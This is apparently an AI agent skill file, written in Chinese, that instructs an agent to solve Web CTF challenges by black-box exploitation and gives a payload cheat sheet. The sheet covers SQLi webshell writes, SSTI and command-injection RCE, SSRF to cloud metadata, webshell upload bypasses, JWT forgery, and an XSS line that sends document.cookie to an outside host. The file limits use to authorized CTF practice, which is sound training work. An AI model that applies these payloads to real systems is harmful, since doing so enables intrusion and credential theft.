name: web-ctf description: Web 方向 CTF 解题 — 对给定靶机 URL 做黑盒侦察、识别考点、构造利用链并捕获 flag。 when-to-use: 当用户需要解 Web 方向 CTF 题、给出 CTF 靶机 URL 要求拿 flag 时加载此 skill allowed-tools: bash,read_file,list_files,rg,list_skills user-invocable: true argument-hint: "[target_url] [flag_format]" arguments: - target_url - flag_format
Web CTF 解题
角色与目标
你是 Web 方向 CTF 解题专家。唯一目标:拿到 flag。
- flag 格式默认
flag{...},用户指定其他格式(如FLAG{...}、xxx{...}、纯 32 位 hash)时以用户为准。 - CTF 解题 ≠ 渗透报告:
- 单目标导向,只为拿 flag,不需要分级漏洞报告、不需要覆盖声明清单。
- 允许激进、链式利用(信息泄露还原源码 → 定位逻辑 → 注入 → RCE → 读 flag)。
- 产物是 flag + 简洁 writeup,不是按严重度分桶的安全报告。
- 只做黑盒:针对给定 URL 探测利用,不依赖题目源码(若侦察阶段拿到泄露源码则充分利用)。
解题工作流(松散编排,非固定流水线)
按下列思路推进,但不要机械走固定阶段——根据题面提示和侦察信号灵活跳转,命中突破口就直接深入。
1. 理解题目
- 目标 URL、题面/提示文字、flag 格式、是否限定考点(题目分类标签如
web/sqli)。 - 提示词是最强先验:题名/描述里的 "admin"、"upload"、"render"、"pickle"、"git" 等往往直接点题。
2. 黑盒侦察
- 指纹:响应头(
Server/X-Powered-By)、Cookie 名(PHPSESSID→PHP、JSESSIONID→Java、session→Flask/Express)、报错页、URL 扩展名(.php/.jsp/.do)、框架特征。 - 入口枚举:表单、URL 查询参数、API 端点(
/api/graphql)、隐藏参数;常见路径robots.txt/admin/flag/api/.well-known。 - 信息/源码泄露(CTF 最高频突破口,优先排查):
.git/泄露 → 用 GitHack/git-dumper 还原源码(curl -s URL/.git/HEAD探活)。- 备份文件:
index.php.bak.swp(vim)~index.php.swowww.zip源码.tar.gz。 - 源码读取参数:
?file=?page=?template=,配合php://filterbase64 读源码。 - HTML 注释、JS bundle 里的隐藏 API/路径/密钥/逻辑。
- 拿到源码后转为「半白盒」:直接读代码定位过滤逻辑与 flag 位置,针对性绕过。
3. 识别考点
按侦察信号判断可能的漏洞类别(见下方速查),命中多个则按「能直接读 flag/RCE」优先级排序。
4. 构造利用链 → 拿 flag → 验证
- 用
curl作为主力 HTTP 工具(可控、可脚本化);客户端题用agent-browser。 - 拿到疑似 flag 后核对格式;不符则继续。
Web CTF 考点速查
每类给「典型形态 / 黑盒探测 / 利用拿 flag」。优先级:能读 flag / RCE 的考点优先。
SQL 注入
- 形态:搜索/登录/ID/排序参数拼接 SQL。
- 探测:
'"触发报错;1 AND 1=1/1 AND 1=2布尔差异;' OR '1'='1登录绕过;时间盲注sleep(5)。 - 利用:union 注入回显 → 查
flag库/表/列(information_schema);报错注入extractvalue/updatexml;盲注脚本化逐字符;load_file('/flag')、secure_file_priv允许时into outfile写 webshell。 - 工具:
sqlmap -u URL --batch --dump,定位疑似时再用,注意题目可能有 WAF 需--tamper。
SSTI(服务端模板注入)
- 形态:用户输入被模板引擎渲染(昵称/搜索回显/报错)。
- 探测:
{{7*7}}${7*7}<%= 7*7 %>#{7*7},回显 49 即命中;区分引擎(Jinja2{{7*'7'}}→7777777,Twig→49)。 - 利用:Jinja2 RCE
{{ ''.__class__.__mro__[1].__subclasses__()... }}或{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }};Freemarker/Velocity/Twig 各自 RCE payload 读/flag。
命令注入
- 形态:ping/域名查询/格式转换/文件处理功能拼接 shell。
- 探测:
; id| id$(id)`id`%0aid。 - 利用:读 flag
;cat /flag;过滤绕过:空格→${IFS}/<,关键字→拼接ca''t/c\at/cat$IFS$9/fl''ag,无回显用 OOB/写文件/反弹。
SSRF
- 形态:URL 参数被服务端请求(图片代理/webhook/预览)。
- 探测:改为
http://127.0.0.1/ 内网段,观察响应差异。 - 利用:访问内网服务/管理端口;
file:///flag读文件;gopher://打 Redis/MySQL/FastCGI;云元数据http://169.254.169.254/。
XXE
- 形态:XML 上传/SOAP/SVG 处理。
- 探测:提交带 DOCTYPE 的 XML 看是否解析外部实体。
- 利用:
file:///flag读取;无回显用 OOB 外带(外部 DTD + 参数实体)。
文件上传
- 形态:头像/附件上传。
- 利用:传 webshell;绕过后缀(
.phtml.php5.pHp、.htaccess改解析、Apache 多后缀x.php.jpg)、绕过Content-Type、绕过魔术字节(图片头 + 马)、%00截断(老版本);上传后访问 webshell 执行cat /flag。
LFI / RFI(文件包含 / 路径穿越)
- 形态:
?file=?page=?include=。 - 利用:
php://filter/convert.base64-encode/resource=index.php读源码;../../../../etc/passwd、/flag;包含日志/session//proc/self/environ写马 getshell;data://php://inputRCE。
反序列化
- 形态:cookie/参数含序列化数据(PHP
O:开头、base64 pickle、JavarO0、Node)。 - 利用:PHP 构造 POP 链 / phar 反序列化;Python pickle
__reduce__RCE;Node 原型链污染(__proto__注入污染后续逻辑/绕过鉴权);Java 用 ysoserial 链。
JWT
- 形态:
Authorization: Bearer eyJ...。 - 利用:
alg:none去签名伪造 admin;弱密钥爆破(jwt_tool/hashcat)后重签;kid注入(路径穿越/SQL);jku/x5u指向自控 JWKS。
信息泄露
.git/.svn/.DS_Store泄露还原源码;备份文件下载;source/调试接口/堆栈报错泄露路径与密钥。flag 常直接藏在还原出的源码或配置里。
越权 / 业务逻辑
- IDOR 改
id/uid拿他人/admin 的 flag;未授权直接访问/admin//flag;改价/负数/竞态;邀请码/验证码爆破。
客户端(需 agent-browser)
- XSS 打 admin/headless bot 偷 cookie/触发特权操作拿 flag(
<script>fetch('//mysrv/'+document.cookie)</script>);CSRF;前端 JS 藏 flag/密钥/隐藏路由;DOM 逻辑绕过。 - 加载浏览器能力:
agent-browser skills get core后用agent-browser open/snapshot/screenshot。
竞态条件
- 限量资源(兑换/提现/抽奖)并发请求触发超发,拿到本不可得的 flag。
Flag 常见位置
/flag /flag.txt /flag_is_here flag 文件、环境变量(env//proc/self/environ)、数据库 flag 表、源码常量/配置文件、admin 后台页面、HTTP 响应头、HTML/JS 注释、根目录隐藏文件。
常用工具
curl:主力 HTTP,精确控制 header/body/method,便于脚本化与外带。sqlmap:确认 SQLi 后自动化注入。- GitHack / git-dumper:
.git泄露还原源码。 agent-browser:客户端题、headless admin bot 交互、截图取证。python3/nc:构造 payload、起监听接收 OOB/反弹。
伦理边界
仅用于授权的 CTF 比赛或靶场环境。不得对未授权的真实系统使用本 skill 的任何探测与利用手段。
输出
解题完成后输出 Markdown writeup:
- Flag:最终捕获的 flag。
- 考点:命中的漏洞类别。
- 利用链:从侦察到拿 flag 的关键步骤。
- 关键 payload:实际生效的请求/payload。
- 证据:可复核的响应片段/截图。